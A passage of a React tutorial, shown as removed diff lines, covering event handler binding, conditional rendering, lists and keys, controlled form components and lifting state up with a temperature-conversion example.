-
-This is not React-specific behavior; it is a part of [how functions work in JavaScript](https://www.smashingmagazine.com/2014/01/understanding-javascript-function-prototype-bind/). Generally, if you refer to a method without `()` after it, such as `onClick={this.handleClick}`, you should bind that method.
-
-If calling `bind` annoys you, there are two ways you can get around this. If you are using the experimental [public class fields syntax](https://babeljs.io/docs/plugins/transform-class-properties/), you can use class fields to correctly bind callbacks:
-
-```
-class LoggingButton extends React.Component {
-  // This syntax ensures `this` is bound within handleClick.  // Warning: this is *experimental* syntax.  handleClick = () => {    console.log('this is:', this);  }render() {
-    return (
-      <button onClick={this.handleClick}>        Click me
-      </button>);
-  }
-}
-```
-
-This syntax is enabled by default in [Create React App](https://github.com/facebookincubator/create-react-app).
-
-If you aren't using class fields syntax, you can use an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) in the callback:
-
-```
-class LoggingButton extends React.Component {
-  handleClick() {
-    console.log('this is:', this);
-  }
-
-  render() {
-    // This syntax ensures `this` is bound within handleClick    return (      <button onClick={() => this.handleClick()}>        Click me
-      </button>);
-  }
-}
-```
-
-The problem with this syntax is that a different callback is created each time the `LoggingButton` renders. In most cases, this is fine. However, if this callback is passed as a prop to lower components, those components might do an extra re-rendering. We generally recommend binding in the constructor or using the class fields syntax, to avoid this sort of performance problem.
-
-## Passing Arguments to Event Handlers
-
-Inside a loop, it is common to want to pass an extra parameter to an event handler. For example, if `id` is the row ID, either of the following would work:
-
-`<button onClick={(e) => this.deleteRow(id, e)}>Delete Row</button><button onClick={this.deleteRow.bind(this, id)}>Delete Row</button>`
-
-The above two lines are equivalent, and use [arrow functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) and `[Function.prototype.bind](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_objects/Function/bind>)` respectively.
-
-In both cases, the `e` argument representing the React event will be passed as a second argument after the ID. With an arrow function, we have to pass it explicitly, but with `bind` any further arguments are automatically forwarded.
-
-## **Conditional Rendering**
-
-## In React, you can create distinct components that encapsulate behavior you need. Then, you can render only some of them, depending on the state of your application.
-
-Conditional rendering in React works the same way conditions work in JavaScript. Use JavaScript operators like `[if](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if...else>)` or the [conditional operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) to create elements representing the current state, and let React update the UI to match them.
-
-Consider these two components:
-
-```
-function UserGreeting(props) {
-  return <h1>Welcome back!</h1>;
-}
-
-function GuestGreeting(props) {
-  return <h1>Please sign up.</h1>;
-}
-```
-
-We'll create a `Greeting` component that displays either of these components depending on whether a user is logged in:
-
-```
-function Greeting(props) {
-  const isLoggedIn = props.isLoggedIn;
-  if (isLoggedIn) {    return <UserGreeting />;  }  return <GuestGreeting />;}
-ReactDOM.render(
-  // Try changing to isLoggedIn={true}:
-  <Greeting isLoggedIn={false} />,  document.getElementById('root'));
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZpVxNq?editors=0011)
-
-[https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011](https://codepen.io/bgoonz/pen/mdwyWmJ?editors=0011)
-
-This example renders a different greeting depending on the value of `isLoggedIn` prop.
-
-## Element Variables
-
-You can use variables to store elements. This can help you conditionally render a part of the component while the rest of the output doesn't change.
-
-Consider these two new components representing Logout and Login buttons:
-
-```
-function LoginButton(props) {
-  return (
-    <button onClick={props.onClick}>
-      Login
-    </button>);
-}
-
-function LogoutButton(props) {
-  return (
-    <button onClick={props.onClick}>
-      Logout
-    </button>);
-}
-```
-
-In the example below, we will create a [stateful component](https://reactjs.org/docs/state-and-lifecycle.html#adding-local-state-to-a-class) called `LoginControl`.
-
-It will render either `<LoginButton />` or `<LogoutButton />` depending on its current state. It will also render a `<Greeting />` from the previous example:
-
-```
-class LoginControl extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleLoginClick = this.handleLoginClick.bind(this);
-    this.handleLogoutClick = this.handleLogoutClick.bind(this);
-    this.state = {isLoggedIn: false};
-  }
-
-  handleLoginClick() {
-    this.setState({isLoggedIn: true});
-  }
-
-  handleLogoutClick() {
-    this.setState({isLoggedIn: false});
-  }
-
-  render() {
-    const isLoggedIn = this.state.isLoggedIn;
-    let button;
-    if (isLoggedIn) {      button = <LogoutButton onClick={this.handleLogoutClick} />;    } else {      button = <LoginButton onClick={this.handleLoginClick} />;    }return (
-      <div>        <Greeting isLoggedIn={isLoggedIn} />        {button}      </div>);
-  }
-}
-
-ReactDOM.render(
-  <LoginControl />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/QKzAgB?editors=0010)
-
-While declaring a variable and using an `if` statement is a fine way to conditionally render a component, sometimes you might want to use a shorter syntax. There are a few ways to inline conditions in JSX, explained below.
-
-## Inline If with Logical && Operator
-
-You may [embed expressions in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) by wrapping them in curly braces. This includes the JavaScript logical `&&` operator. It can be handy for conditionally including an element:
-
-```
-function Mailbox(props) {
-  const unreadMessages = props.unreadMessages;
-  return (
-    <div>      <h1>Hello!</h1>      {unreadMessages.length > 0 &&        <h2>          You have {unreadMessages.length} unread messages.        </h2>      }    </div>);
-}
-
-const messages = ['React', 'Re: React', 'Re:Re: React'];
-ReactDOM.render(
-  <Mailbox unreadMessages={messages} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ozJddz?editors=0010)
-
-[https://codepen.io/bgoonz/pen/VwWYppo?editors=0010](https://codepen.io/bgoonz/pen/VwWYppo?editors=0010)
-
-It works because in JavaScript, `true && expression` always evaluates to `expression`, and `false && expression` always evaluates to `false`.
-
-Therefore, if the condition is `true`, the element right after `&&` will appear in the output. If it is `false`, React will ignore and skip it.
-
-Note that returning a falsy expression will still cause the element after `&&` to be skipped but will return the falsy expression. In the example below, `<div>0</div>` will be returned by the render method.
-
-```
-render() {
-  const count = 0;  return (
-    <div>      { count && <h1>Messages: {count}</h1>}    </div>);
-}
-```
-
-## Inline If-Else with Conditional Operator
-
-Another method for conditionally rendering elements inline is to use the JavaScript conditional operator `[condition ? true : false](<https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator>)`.
-
-In the example below, we use it to conditionally render a small block of text.
-
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      The user is <b>{isLoggedIn ? 'currently' : 'not'}</b> logged in.    </div>);
-}
-```
-
-It can also be used for larger expressions although it is less obvious what's going on:
-
-```
-render() {
-  const isLoggedIn = this.state.isLoggedIn;
-  return (
-    <div>      {isLoggedIn        ? <LogoutButton onClick={this.handleLogoutClick} />        : <LoginButton onClick={this.handleLoginClick} />      }
-    </div>  );
-}
-```
-
-Just like in JavaScript, it is up to you to choose an appropriate style based on what you and your team consider more readable. Also remember that whenever conditions become too complex, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
-## Preventing Component from Rendering
-
-In rare cases you might want a component to hide itself even though it was rendered by another component. To do this return `null` instead of its render output.
-
-In the example below, the `<WarningBanner />` is rendered depending on the value of the prop called `warn`. If the value of the prop is `false`, then the component does not render:
-
-```
-function WarningBanner(props) {
-  if (!props.warn) {    return null;  }return (
-    <div className="warning">      Warning!
-    </div>);
-}
-
-class Page extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {showWarning: true};
-    this.handleToggleClick = this.handleToggleClick.bind(this);
-  }
-
-  handleToggleClick() {
-    this.setState(state => ({
-      showWarning: !state.showWarning
-    }));
-  }
-
-  render() {
-    return (
-      <div>        <WarningBanner warn={this.state.showWarning} />        <button onClick={this.handleToggleClick}>          {this.state.showWarning ? 'Hide' : 'Show'}
-        </button>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Page />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/Xjoqwm?editors=0010)
-
-Returning `null` from a component's `render` method does not affect the firing of the component's lifecycle methods. For instance `componentDidUpdate` will still be called.
-
-## **Lists and Keys**
-
-## First, let's review how you transform lists in JavaScript.
-
-Given the code below, we use the `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function to take an array of `numbers` and double their values. We assign the new array returned by `map()` to the variable `doubled` and log it:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const doubled = numbers.map((number) => number * 2);console.log(doubled);
-```
-
-This code logs `[2, 4, 6, 8, 10]` to the console.
-
-In React, transforming arrays into lists of [elements](https://reactjs.org/docs/rendering-elements.html) is nearly identical.
-
-## Rendering Multiple Components
-
-You can build collections of elements and [include them in JSX](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) using curly braces `{}`.
-
-Below, we loop through the `numbers` array using the JavaScript `[map()](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map>)` function. We return a `<li>` element for each item. Finally, we assign the resulting array of elements to `listItems`:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) =>  <li>{number}</li>);
-```
-
-We include the entire `listItems` array inside a `<ul>` element, and [render it to the DOM](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom):
-
-```
-ReactDOM.render(
-  <ul>{listItems}</ul>,  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/GjPyQr?editors=0011)
-
-[https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011](https://codepen.io/bgoonz/pen/eYRmvvr?editors=0011)
-
-This code displays a bullet list of numbers between 1 and 5.
-
-## Basic List Component
-
-Usually you would render lists inside a [component](https://reactjs.org/docs/components-and-props.html).
-
-We can refactor the previous example into a component that accepts an array of `numbers` and outputs a list of elements.
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>    <li>{number}</li>  );  return (
-    <ul>{listItems}</ul>  );
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,  document.getElementById('root')
-);
-```
-
-When you run this code, you'll be given a warning that a key should be provided for list items. A "key" is a special string attribute you need to include when creating lists of elements. We'll discuss why it's important in the next section.
-
-Let's assign a `key` to our list items inside `numbers.map()` and fix the missing key issue.
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    <li key={number.toString()}>      {number}
-    </li>);
-  return (
-    <ul>{listItems}</ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/jrXYRR?editors=0011)
-
-[https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011](https://codepen.io/bgoonz/pen/yLXyMMP?editors=0011)
-
-## Keys
-
-Keys help React identify which items have changed, are added, or are removed. Keys should be given to the elements inside the array to give the elements a stable identity:
-
-```
-const numbers = [1, 2, 3, 4, 5];
-const listItems = numbers.map((number) =>
-  <li key={number.toString()}>    {number}
-  </li>);
-```
-
-The best way to pick a key is to use a string that uniquely identifies a list item among its siblings. Most often you would use IDs from your data as keys:
-
-```
-const todoItems = todos.map((todo) =>
-  <li key={todo.id}>    {todo.text}
-  </li>);
-```
-
-When you don't have stable IDs for rendered items, you may use the item index as a key as a last resort:
-
-```
-const todoItems = todos.map((todo, index) =>
-  // Only do this if items have no stable IDs  <li key={index}>    {todo.text}
-  </li>);
-```
-
-We don't recommend using indexes for keys if the order of items may change. This can negatively impact performance and may cause issues with component state. Check out Robin Pokorny's article for an [in-depth explanation on the negative impacts of using an index as a key](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318). If you choose not to assign an explicit key to list items then React will default to using indexes as keys.
-
-Here is an [in-depth explanation about why keys are necessary](https://reactjs.org/docs/reconciliation.html#recursing-on-children) if you're interested in learning more.
-
-## Extracting Components with Keys
-
-Keys only make sense in the context of the surrounding array.
-
-For example, if you [extract](https://reactjs.org/docs/components-and-props.html#extracting-components) a `ListItem` component, you should keep the key on the `<ListItem />` elements in the array rather than on the `<li>` element in the `ListItem` itself.
-
-**Example: Incorrect Key Usage**
-
-```
-function ListItem(props) {
-  const value = props.value;
-  return (
-    // Wrong! There is no need to specify the key here:    <li key={value.toString()}>      {value}
-    </li>);
-}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Wrong! The key should have been specified here:    <ListItem value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-**Example: Correct Key Usage**
-
-```
-function ListItem(props) {
-  // Correct! There is no need to specify the key here:  return <li>{props.value}</li>;}
-
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>
-    // Correct! Key should be specified inside the array.    <ListItem key={number.toString()} value={number} />  );
-  return (
-    <ul>      {listItems}
-    </ul>);
-}
-
-const numbers = [1, 2, 3, 4, 5];
-ReactDOM.render(
-  <NumberList numbers={numbers} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZXeOGM?editors=0010)
-
-A good rule of thumb is that elements inside the `map()` call need keys.
-
-## Keys Must Only Be Unique Among Siblings
-
-Keys used within arrays should be unique among their siblings. However, they don't need to be globally unique. We can use the same keys when we produce two different arrays:
-
-```
-function Blog(props) {
-  const sidebar = (    <ul>      {props.posts.map((post) =>
-        <li key={post.id}>          {post.title}
-        </li>)}
-    </ul>);
-  const content = props.posts.map((post) =>    <div key={post.id}>      <h3>{post.title}</h3>      <p>{post.content}</p>    </div>);
-  return (
-    <div>      {sidebar}      <hr />      {content}    </div>);
-}
-
-const posts = [
-  {id: 1, title: 'Hello World', content: 'Welcome to learning React!'},
-  {id: 2, title: 'Installation', content: 'You can install React from npm.'}
-];
-ReactDOM.render(
-  <Blog posts={posts} />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/NRZYGN?editors=0010)
-
-[https://codepen.io/bgoonz/pen/mdwyWWy?editors=0010](https://codepen.io/bgoonz/pen/mdwyWWy?editors=0010)
-
-Keys serve as a hint to React but they don't get passed to your components. If you need the same value in your component, pass it explicitly as a prop with a different name:
-
-```
-const content = posts.map((post) =>
-  <Post    key={post.id}    id={post.id}    title={post.title} />);
-```
-
-With the example above, the `Post` component can read `props.id`, but not `props.key`.
-
-## Embedding map() in JSX
-
-In the examples above we declared a separate `listItems` variable and included it in JSX:
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  const listItems = numbers.map((number) =>    <ListItem key={number.toString()}              value={number} />  );  return (
-    <ul>      {listItems}
-    </ul>);
-}
-```
-
-JSX allows [embedding any expression](https://reactjs.org/docs/introducing-jsx.html#embedding-expressions-in-jsx) in curly braces so we could inline the `map()` result:
-
-```
-function NumberList(props) {
-  const numbers = props.numbers;
-  return (
-    <ul>      {numbers.map((number) =>        <ListItem key={number.toString()}                  value={number} />      )}    </ul>);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/BLvYrB?editors=0010)
-
-[https://codepen.io/bgoonz/pen/JjJoWEw?editors=0010](https://codepen.io/bgoonz/pen/JjJoWEw?editors=0010)
-
-Sometimes this results in clearer code, but this style can also be abused. Like in JavaScript, it is up to you to decide whether it is worth extracting a variable for readability. Keep in mind that if the `map()` body is too nested, it might be a good time to [extract a component](https://reactjs.org/docs/components-and-props.html#extracting-components).
-
-## **Forms**
-
-## HTML form elements work a bit differently from other DOM elements in React, because form elements naturally keep some internal state. For example, this form in plain HTML accepts a single name:
-
-```
-<form><label>
-    Name:
-    <input type="text" name="name" /></label><input type="submit" value="Submit" /></form>
-```
-
-This form has the default HTML form behavior of browsing to a new page when the user submits the form. If you want this behavior in React, it just works. But in most cases, it's convenient to have a JavaScript function that handles the submission of the form and has access to the data that the user entered into the form. The standard way to achieve this is with a technique called "controlled components".
-
-## Controlled Components
-
-In HTML, form elements such as `<input>`, `<textarea>`, and `<select>` typically maintain their own state and update it based on user input. In React, mutable state is typically kept in the state property of components, and only updated with `[setState()](<https://reactjs.org/docs/react-component.html#setstate>)`.
-
-We can combine the two by making the React state be the "single source of truth". Then the React component that renders a form also controls what happens in that form on subsequent user input. An input form element whose value is controlled by React in this way is called a "controlled component".
-
-For example, if we want to make the previous example log the name when it is submitted, we can write the form as a controlled component:
-
-```
-class NameForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {value: ''};this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('A name was submitted: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Name:
-          <input type="text" value={this.state.value} onChange={this.handleChange} />        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/VmmPgp?editors=0010)
-
-[https://codepen.io/bgoonz/pen/rNwayjv?editors=0010](https://codepen.io/bgoonz/pen/rNwayjv?editors=0010)
-
-Since the `value` attribute is set on our form element, the displayed value will always be `this.state.value`, making the React state the source of truth. Since `handleChange` runs on every keystroke to update the React state, the displayed value will update as the user types.
-
-With a controlled component, the input's value is always driven by the React state. While this means you have to type a bit more code, you can now pass the value to other UI elements too, or reset it from other event handlers.
-
-## The textarea Tag
-
-In HTML, a `<textarea>` element defines its text by its children:
-
-```
-<textarea>
-  Hello there, this is some text in a text area
-</textarea>
-```
-
-In React, a `<textarea>` uses a `value` attribute instead. This way, a form using a `<textarea>` can be written very similarly to a form that uses a single-line input:
-
-```
-class EssayForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {      value: 'Please write an essay about your favorite DOM element.'    };this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('An essay was submitted: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Essay:
-          <textarea value={this.state.value} onChange={this.handleChange} />        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-Notice that `this.state.value` is initialized in the constructor, so that the text area starts off with some text in it.
-
-## The select Tag
-
-In HTML, `<select>` creates a drop-down list. For example, this HTML creates a drop-down list of flavors:
-
-`<select><option value="grapefruit">Grapefruit</option><option value="lime">Lime</option><option selected value="coconut">Coconut</option><option value="mango">Mango</option></select>`
-
-Note that the Coconut option is initially selected, because of the `selected` attribute. React, instead of using this `selected` attribute, uses a `value` attribute on the root `select` tag. This is more convenient in a controlled component because you only need to update it in one place. For example:
-
-```
-class FlavorForm extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {value: 'coconut'};this.handleChange = this.handleChange.bind(this);
-    this.handleSubmit = this.handleSubmit.bind(this);
-  }
-
-  handleChange(event) {    this.setState({value: event.target.value});  }handleSubmit(event) {
-    alert('Your favorite flavor is: ' + this.state.value);
-    event.preventDefault();
-  }
-
-  render() {
-    return (
-      <form onSubmit={this.handleSubmit}>        <label>          Pick your favorite flavor:
-          <select value={this.state.value} onChange={this.handleChange}>            <option value="grapefruit">Grapefruit</option>            <option value="lime">Lime</option>            <option value="coconut">Coconut</option>            <option value="mango">Mango</option>          </select>        </label>        <input type="submit" value="Submit" />      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/JbbEzX?editors=0010)
-
-Overall, this makes it so that `<input type="text">`, `<textarea>`, and `<select>` all work very similarly - they all accept a `value` attribute that you can use to implement a controlled component.
-
-> NoteYou can pass an array into the value attribute, allowing you to select multiple options in a select tag:\<select multiple={true} value={\['B', 'C']}>
-
-## The file input Tag
-
-In HTML, an `<input type="file">` lets the user choose one or more files from their device storage to be uploaded to a server or manipulated by JavaScript via the [File API](https://developer.mozilla.org/en-US/docs/Web/API/File/Using_files_from_web_applications).
-
-`<input type="file" />`
-
-Because its value is read-only, it is an **uncontrolled** component in React. It is discussed together with other uncontrolled components [later in the documentation](https://reactjs.org/docs/uncontrolled-components.html#the-file-input-tag).
-
-## Handling Multiple Inputs
-
-When you need to handle multiple controlled `input` elements, you can add a `name` attribute to each element and let the handler function choose what to do based on the value of `event.target.name`.
-
-For example:
-
-```
-class Reservation extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {
-      isGoing: true,
-      numberOfGuests: 2
-    };
-
-    this.handleInputChange = this.handleInputChange.bind(this);
-  }
-
-  handleInputChange(event) {
-    const target = event.target;
-    const value = target.type === 'checkbox' ? target.checked : target.value;
-    const name = target.name;this.setState({
-      [name]: value    });
-  }
-
-  render() {
-    return (
-      <form>        <label>          Is going:
-          <input
-            name="isGoing"            type="checkbox"checked={this.state.isGoing}onChange={this.handleInputChange} />        </label>        <br />        <label>          Number of guests:
-          <input
-            name="numberOfGuests"            type="number"value={this.state.numberOfGuests}onChange={this.handleInputChange} />        </label>      </form>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/wgedvV?editors=0010)
-
-Note how we used the ES6 [computed property name](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names) syntax to update the state key corresponding to the given input name:
-
-```
-this.setState({
-  [name]: value});
-```
-
-It is equivalent to this ES5 code:
-
-```
-var partialState = {};
-partialState[name] = value;this.setState(partialState);
-```
-
-Also, since `setState()` automatically [merges a partial state into the current state](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-are-merged), we only needed to call it with the changed parts.
-
-## Controlled Input Null Value
-
-Specifying the value prop on a [controlled component](https://reactjs.org/docs/forms.html#controlled-components) prevents the user from changing the input unless you desire so. If you've specified a `value` but the input is still editable, you may have accidentally set `value` to `undefined` or `null`.
-
-The following code demonstrates this. (The input is locked at first but becomes editable after a short delay.)
-
-```
-ReactDOM.render(<input value="hi" />, mountNode);
-
-setTimeout(function() {
-  ReactDOM.render(<input value={null} />, mountNode);
-}, 1000);
-```
-
-## Alternatives to Controlled Components
-
-It can sometimes be tedious to use controlled components, because you need to write an event handler for every way your data can change and pipe all of the input state through a React component. This can become particularly annoying when you are converting a preexisting codebase to React, or integrating a React application with a non-React library. In these situations, you might want to check out [uncontrolled components](https://reactjs.org/docs/uncontrolled-components.html), an alternative technique for implementing input forms.
-
-## Fully-Fledged Solutions
-
-If you're looking for a complete solution including validation, keeping track of the visited fields, and handling form submission, [Formik](https://jaredpalmer.com/formik) is one of the popular choices. However, it is built on the same principles of controlled components and managing state --- so don't neglect to learn them.
-
-## **Lifting State Up**
-
-## Often, several components need to reflect the same changing data. We recommend lifting the shared state up to their closest common ancestor. Let's see how this works in action.
-
-In this section, we will create a temperature calculator that calculates whether the water would boil at a given temperature.
-
-We will start with a component called `BoilingVerdict`. It accepts the `celsius` temperature as a prop, and prints whether it is enough to boil the water:
-
-```
-function BoilingVerdict(props) {
-  if (props.celsius >= 100) {
-    return <p>The water would boil.</p>;  }
-  return <p>The water would not boil.</p>;}
-```
-
-Next, we will create a component called `Calculator`. It renders an `<input>` that lets you enter the temperature, and keeps its value in `this.state.temperature`.
-
-Additionally, it renders the `BoilingVerdict` for the current input value.
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    return (
-      <fieldset>        <legend>Enter temperature in Celsius:</legend>        <input          value={temperature}          onChange={this.handleChange} />        <BoilingVerdict          celsius={parseFloat(temperature)} />      </fieldset>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ZXeOBm?editors=0010)
-
-[https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010](https://codepen.io/bgoonz/pen/zYzxZoL?editors=0010)
-
-## Adding a Second Input
-
-Our new requirement is that, in addition to a Celsius input, we provide a Fahrenheit input, and they are kept in sync.
-
-We can start by extracting a `TemperatureInput` component from `Calculator`. We will add a new `scale` prop to it that can either be `"c"` or `"f"`:
-
-```
-const scaleNames = {  c: 'Celsius',  f: 'Fahrenheit'};class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};
-  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});
-  }
-
-  render() {
-    const temperature = this.state.temperature;
-    const scale = this.props.scale;    return (
-      <fieldset>        <legend>Enter temperature in {scaleNames[scale]}:</legend>        <input value={temperature}onChange={this.handleChange} />      </fieldset>);
-  }
-}
-```
-
-We can now change the `Calculator` to render two separate temperature inputs:
-
-```
-class Calculator extends React.Component {
-  render() {
-    return (
-      <div>        <TemperatureInput scale="c" />        <TemperatureInput scale="f" />      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/jGBryx?editors=0010)
-
-[https://codepen.io/bgoonz/pen/QWgwpGv?editors=0010](https://codepen.io/bgoonz/pen/QWgwpGv?editors=0010)
-
-We have two inputs now, but when you enter the temperature in one of them, the other doesn't update. This contradicts our requirement: we want to keep them in sync.
-
-We also can't display the `BoilingVerdict` from `Calculator`. The `Calculator` doesn't know the current temperature because it is hidden inside the `TemperatureInput`.
-
-## Writing Conversion Functions
-
-First, we will write two functions to convert from Celsius to Fahrenheit and back:
-
-```
-function toCelsius(fahrenheit) {
-  return (fahrenheit - 32) * 5 / 9;
-}
-
-function toFahrenheit(celsius) {
-  return (celsius * 9 / 5) + 32;
-}
-```
-
-These two functions convert numbers. We will write another function that takes a string `temperature` and a converter function as arguments and returns a string. We will use it to calculate the value of one input based on the other input.
-
-It returns an empty string on an invalid `temperature`, and it keeps the output rounded to the third decimal place:
-
-```
-function tryConvert(temperature, convert) {
-  const input = parseFloat(temperature);
-  if (Number.isNaN(input)) {
-    return '';
-  }
-  const output = convert(input);
-  const rounded = Math.round(output * 1000) / 1000;
-  return rounded.toString();
-}
-```
-
-For example, `tryConvert('abc', toCelsius)` returns an empty string, and `tryConvert('10.22', toFahrenheit)` returns `'50.396'`.
-
-## Lifting State Up
-
-Currently, both `TemperatureInput` components independently keep their values in the local state:
-
-```
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.state = {temperature: ''};  }
-
-  handleChange(e) {
-    this.setState({temperature: e.target.value});  }
-
-  render() {
-    const temperature = this.state.temperature;    // ...
-```
-
-However, we want these two inputs to be in sync with each other. When we update the Celsius input, the Fahrenheit input should reflect the converted temperature, and vice versa.
-
-In React, sharing state is accomplished by moving it up to the closest common ancestor of the components that need it. This is called "lifting state up". We will remove the local state from the `TemperatureInput` and move it into the `Calculator` instead.
-
-If the `Calculator` owns the shared state, it becomes the "source of truth" for the current temperature in both inputs. It can instruct them both to have values that are consistent with each other. Since the props of both `TemperatureInput` components are coming from the same parent `Calculator` component, the two inputs will always be in sync.
-
-Let's see how this works step by step.
-
-First, we will replace `this.state.temperature` with `this.props.temperature` in the `TemperatureInput` component. For now, let's pretend `this.props.temperature` already exists, although we will need to pass it from the `Calculator` in the future:
-
-```
-  render() {
-    // Before: const temperature = this.state.temperature;
-    const temperature = this.props.temperature;    // ...
-```
-
-We know that [props are read-only](https://reactjs.org/docs/components-and-props.html#props-are-read-only). When the `temperature` was in the local state, the `TemperatureInput` could just call `this.setState()` to change it. However, now that the `temperature` is coming from the parent as a prop, the `TemperatureInput` has no control over it.
-
-In React, this is usually solved by making a component "controlled". Just like the DOM `<input>` accepts both a `value` and an `onChange` prop, so can the custom `TemperatureInput` accept both `temperature` and `onTemperatureChange` props from its parent `Calculator`.
-
-Now, when the `TemperatureInput` wants to update its temperature, it calls `this.props.onTemperatureChange`:
-
-```
-  handleChange(e) {
-    // Before: this.setState({temperature: e.target.value});
-    this.props.onTemperatureChange(e.target.value);    // ...
-```
-
-> Note:There is no special meaning to either temperature or onTemperatureChange prop names in custom components. We could have called them anything else, like name them value and onChange which is a common convention.
-
-The `onTemperatureChange` prop will be provided together with the `temperature` prop by the parent `Calculator` component. It will handle the change by modifying its own local state, thus re-rendering both inputs with the new values. We will look at the new `Calculator` implementation very soon.
-
-Before diving into the changes in the `Calculator`, let's recap our changes to the `TemperatureInput` component. We have removed the local state from it, and instead of reading `this.state.temperature`, we now read `this.props.temperature`. Instead of calling `this.setState()` when we want to make a change, we now call `this.props.onTemperatureChange()`, which will be provided by the `Calculator`:
-
-```
-class TemperatureInput extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-  }
-
-  handleChange(e) {
-    this.props.onTemperatureChange(e.target.value);  }
-
-  render() {
-    const temperature = this.props.temperature;    const scale = this.props.scale;
-    return (
-      <fieldset>        <legend>Enter temperature in {scaleNames[scale]}:</legend>        <input value={temperature}onChange={this.handleChange} />      </fieldset>);
-  }
-}
-```
-
-Now let's turn to the `Calculator` component.
-
-We will store the current input's `temperature` and `scale` in its local state. This is the state we "lifted up" from the inputs, and it will serve as the "source of truth" for both of them. It is the minimal representation of all the data we need to know in order to render both inputs.
-
-For example, if we enter 37 into the Celsius input, the state of the `Calculator` component will be:
-
-```
-{
-  temperature: '37',
-  scale: 'c'
-}
-```
-
